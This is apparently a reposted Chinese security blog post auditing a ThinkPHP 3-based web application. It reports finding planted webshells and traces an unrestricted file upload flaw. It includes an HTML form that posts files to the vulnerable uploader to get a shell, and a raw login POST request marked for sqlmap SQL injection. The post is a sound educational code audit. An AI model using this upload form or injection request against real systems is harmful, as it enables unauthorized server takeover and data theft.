PHP审计- TP3某二次开发程序
2020-08-11 11:15:41 Author: xz.aliyun.com(查看原文) 阅读量:325 收藏

前言
今天逛某司的时候,看到一个师傅发了一个tp3的源代码,反正菜的没事做,就想着试一试tp框架,本人水平比较差,也是第一次代码审计,文中有错误的地方还请师傅指教纠正。

源码下载以及安装
源码需要的师傅,可以私信我!
创建数据库->导入数据库文件-> 更改数据库配置文件即可

审计
先直接D盾一波,发现了一个大马和好多图片马,不知道是开发者后门,还是发帖者的后门

后门da.php

图片马后门

任意文件上传

我们看到这个 handle_file_upload 这个方法,

梳理一下逻辑:
该方法有7个参数
1035行:$file = new \stdClass(); 创建一个没有成员方法和属性的空对象, StdClass类没有任何成员方法,也没有任何成员属性
1036行调用了get_file_name 方法,跟进去看一下,首先这个函数传参,是让我们的uoload_file变量传到了file_path变量上,然后504行又调用了trim_file_name方法,又跟进去吧


trim_file_name 方法如下,494行将我们的name参数去掉反斜杠(我们恰好也不用反斜杠),basename函数是输出我们的路径下的文件名, 而trim是去掉定义的.\x00..\x20的字符,进入判断语句,而str_replace('.', '-', microtime(true))含义就是计算php程序代码执行消耗时间,将字符 . 替换成 - 而已,然后返回

又返回到我们的 get_file_name 方法,506行调用了 get_unique_filename 方法,跟进去呢

回到handle_file_upload 方法,有调用了fix_integer_overflow ,对文件大小进行检测 ,

继续跟get_upload_path 方法,是将我们上传路径给输出来,整挺好

后面就直接将文件,move_upload_file了, 并没有对后缀进行检测,
接下来就是看看哪儿调用了这个方法,恰巧index.php 新建了这个类的对象

那我们就可以构造一html表单来上传文件了。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<form enctype="multipart/form-data" action="http://127.0.0.1/Public/Inner/Js/uploader/server/php/index.php" method="post">
    <input type="file" name="files"/>
    <input type="submit" value="submit"/>
</form>
</body>
</html>

可以直接上传我们的html文件,还输出了路径,真好!

可成功getshell

SQL注入
IndexController.class.php 看这个login方法

在tp3中 有个I方法,定义就是input ,获取前台得到参数,这儿就是获取post传参的name、pwd 的值,直接拼接到我们的condition变量中,实例化我们的user模型,看我们的field方法,就是获取全部字段的值

回到Login方法,261的where方法就是跟我们sql语句的条件表达式,最后跟进find方法进行查询数据, 而且整个文件并没有包含其他的文件,这个文件大概率是不会有全局过滤的,然后我们的就使用sqlmap来验证,参数是name

POST /index.php?a=login&c=Index&m=Index HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://192.168.7.154/
Cookie: PHPSESSID=pqim3lngnotf1p4sj15qurnef0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Content-Length: 97
Host: 192.168.7.154
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive

device=0&name=*&pwd=d41d8cd98f00b204e9800998ecf8427e

存在注入点


文章来源: http://xz.aliyun.com/t/8085
如有侵权请联系:admin#unsafe.sh